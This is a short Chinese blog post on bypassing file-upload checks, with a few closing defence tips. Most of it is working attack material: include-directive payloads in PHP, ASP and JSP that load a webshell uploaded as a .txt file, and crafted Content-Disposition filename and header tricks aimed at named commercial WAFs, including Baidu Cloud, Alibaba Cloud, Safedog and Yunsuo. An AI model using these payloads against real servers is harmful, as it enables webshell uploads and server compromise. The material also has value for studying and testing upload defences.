6种上传绕过方式和防护

1、一般开发人员防御策略

客户端javascript校验(一般只校验后缀名)

服务端校验:

1、文件头content-type字段校验(image/gif)

2、文件内容头校验(GIF89a)

3、后缀名 黑名单校验

4、后缀名 白名单校验

5、自定义正则校验

6、WAF设备校验

2、上传绕过

2.1 有些waf不会防asp/php/jsp后缀的文件,但会检测里面的内容

eg1:
1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容

2.然后再上传一个.php的文件,内容如下:

此时,这个php文件就会去引用txt文件的内容,从而绕过校验。

PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:include page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>

访问shell.php就可以执行php代码。尝试修改压缩文件后缀为zip、phar、rar发现都是可以的。

2.2 WTS-WAF Bypass

Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”

2.3 Baidu cloud Bypass

百度云 拦截后缀,百度云绕过上传还跟<?php前面是否有代码还有很大关系。

Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”

在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。

2.4 阿里云WAF

Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg

Bypass:

删除Content-Type: image/jpeg即可绕过。

Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”

2.5 安全狗上传Bypass(最新版不可绕)

Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

Bypass:

Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.pngC.php"

删掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意,双引号要跟着c.php"。

2.6 云锁上传Bypass

Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”

3、防御

3.1.目录设为不可执行:

3.2.判断文件类型时,结合MIME-Type、后缀检查等方式、推荐使用白名单的方式。

3.3.用随机数改写

posted @ 2023-04-11 21:18  hello_bao  阅读(568)  评论(0)    收藏  举报